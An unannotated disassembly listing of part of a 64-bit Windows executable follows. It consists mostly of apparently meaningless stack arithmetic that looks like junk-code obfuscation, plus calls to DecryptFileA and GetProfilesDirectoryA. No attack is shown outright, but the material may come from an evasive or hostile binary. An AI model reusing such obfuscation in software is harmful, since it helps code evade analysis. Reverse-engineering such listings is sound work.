mov dword [rsp + 0x3af8], eax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc20]
and eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b14], eax
jmp 0x140004eaf
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
shl eax, cl
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
movzx edx, byte [0x140179008]
or ecx, edx
cmp eax, ecx
jl 0x140004e4e
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b80], al
cmp byte [rsp + 0x3b80], 0
je 0x140004d84
cmp byte [rsp + 0x3b80], 0x14
je 0x140004e2b
jmp 0x140004e4c
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0x6ae8], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov dword [rsp + 0x3b84], eax
cmp dword [rsp + 0x3b84], 0xfc
je 0x140004db5
jmp 0x140004e29
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x41]
mov rdx, qword [rsp + 0x6ab0]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140004e0f
mov rax, qword [rsp + 0x6a18]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x69e0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x6a18]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3b4c]
call fcn.14015ebc0
nop
jmp 0x140004e29
mov edx, 0x9f
mov rcx, qword [rsp + 0x6af0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x3aec], eax
jmp 0x140004e4c
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
jmp 0x140004eaf
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
xor eax, ecx
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
mov dword [rsp + 0x3b88], ecx
movsx edx, word [rsp + 0xc18]
movzx ecx, dl
mov edx, dword [rsp + 0x3b88]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140004eaf
mov r8, qword [rsp + 0x6a70]
mov edx, dword [rsp + 0x3b14]
mov rax, qword [rsp + 0x6a38]
movzx ecx, word [rax]
call fcn.14015ec30
nop
lea rax, [rsp + 0x3b34]
mov qword [rsp + 0x6af8], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x43]
add ecx, edx
cmp eax, ecx
jne 0x14015e2a3
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x3b64]
mov edx, dword [rsp + 0x3b68]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140004f4b
mov rax, qword [rsp + 0x69d8]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x69e0]
movzx r8d, word [rax]
movzx edx, word [rsp + 0xc08]
mov ecx, dword [rsp + 0x3abc]
call fcn.14015ebc0
nop
jmp 0x140005052
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a48]
mov rdx, qword [rsp + 0x69b0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140005052
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
movzx ecx, byte [0x140179008]
mov rdx, qword [rsp + 0x69b8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140005052
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a48], rax
lea rax, [rsp + 0x3b4c]
mov qword [rsp + 0x6b00], rax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x3b8c], al
cmp byte [rsp + 0x3b8c], 0x12
je 0x140004ff4
jmp 0x140005052
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc14], ax
lea rdx, [rsp + 0xc1c]
mov rcx, qword [rsp + 0x6b08]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x3ad4], eax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov word [rsp + 0xc18], ax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b18]
sub eax, 0x97
mov dword [rsp + 0x3b18], eax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b00]
mov ecx, dword [rsp + 0x3abc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140179004], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3b34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b58], eax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [0x140179008]
add eax, ecx
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x41], al
cmp dword [rsp + 0x3b18], 0xc7a2
jae 0x140005052
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0x6b10], rax
mov rax, qword [rsp + 0x6a18]
movzx eax, word [rax]
mov word [0x14017a4e0], ax
mov dword [rsp + 0x3b90], 0x588f
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov dword [rsp + 0x3b98], eax
cmp dword [rsp + 0x3b98], 0x19fd
je 0x14000522e
jmp 0x14000524c
mov rax, qword [rsp + 0x6a20]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x6a48]
call fcn.14015f630
nop
jmp 0x14015e213
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xc08], ax
movsx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6a50], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a68], rax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
xor eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b14]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0x6b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b18]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x43]
or eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b4c], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc20]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
and eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b64]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
movsx eax, word [0x14017a4e0]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
mov qword [rsp + 0x6b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b20]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
add eax, ecx
mov byte [0x140179008], al
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x6a48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xc14]
shl eax, cl
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x42]
or eax, ecx
mov byte [0x140179008], al
mov eax, dword [rsp + 0x3b00]
add eax, 0xdd
mov dword [rsp + 0x3b00], eax
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x43]
xor eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x6a48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3abc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b4c], eax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
cmp dword [rsp + 0x3b00], 0x10aa3
jne 0x14000524c
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
add eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b68]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc20], ax
mov eax, dword [rsp + 0x3b38]
sub eax, 0xe2
mov dword [rsp + 0x3b38], eax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ad0]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6a70], rax
movzx eax, byte [0x140179008]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc18]
sub eax, ecx
mov word [rsp + 0xc20], ax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [0x14017a4e0], ax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6b00]
mov ecx, dword [rsp + 0x3b2c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0xc0c], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [0x140179008]
sub eax, ecx
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14017a4e0], ax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
and eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc20]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b64]
mov ecx, dword [rsp + 0x3b94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x6ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x6aa0]
mov qword [rsp + 0x6b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b28]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6a50], rax
movzx eax, byte [rsp + 0x40]
movzx ecx, byte [0x140179008]
shl eax, cl
mov byte [rsp + 0x42], al
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc18]
or eax, ecx
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x44]
and eax, ecx
mov byte [rsp + 0x41], al
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x43]
add eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [0x140179008]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x6ad0]
mov rcx, qword [rsp + 0x6af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6ac0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc20]
add eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43], al
movsx eax, word [0x14017a4e0]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
shl eax, cl
mov byte [0x140179008], al
cmp dword [rsp + 0x3b38], 0x2a46
jae 0x1400057c6
lea rax, [rsp + 0xc24]
mov qword [rsp + 0x6b30], rax
cmp dword [rsp + 0x3ac0], 0xadc
jbe 0x1400061e3
mov rax, qword [rsp + 0x6a28]
mov rcx, qword [rsp + 0x6af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6a50]
mov rcx, qword [rsp + 0x6a70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a48], rax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov word [rsp + 0xc20], ax
movzx eax, word [rsp + 0xc10]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0xc0c], ax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3b94]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3abc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3b14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x69b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x40], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc08]
or eax, ecx
mov word [rsp + 0xc20], ax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xc0c]
sar eax, cl
mov word [rsp + 0xc14], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14017a4e0], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6a28]
mov rcx, qword [rsp + 0x6b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6a48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b68], eax
mov eax, dword [rsp + 0x3ac0]
sub eax, 0xd3
mov dword [rsp + 0x3ac0], eax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc20]
and eax, ecx
mov word [rsp + 0xc18], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [0x140179008]
sub eax, ecx
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14017a4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
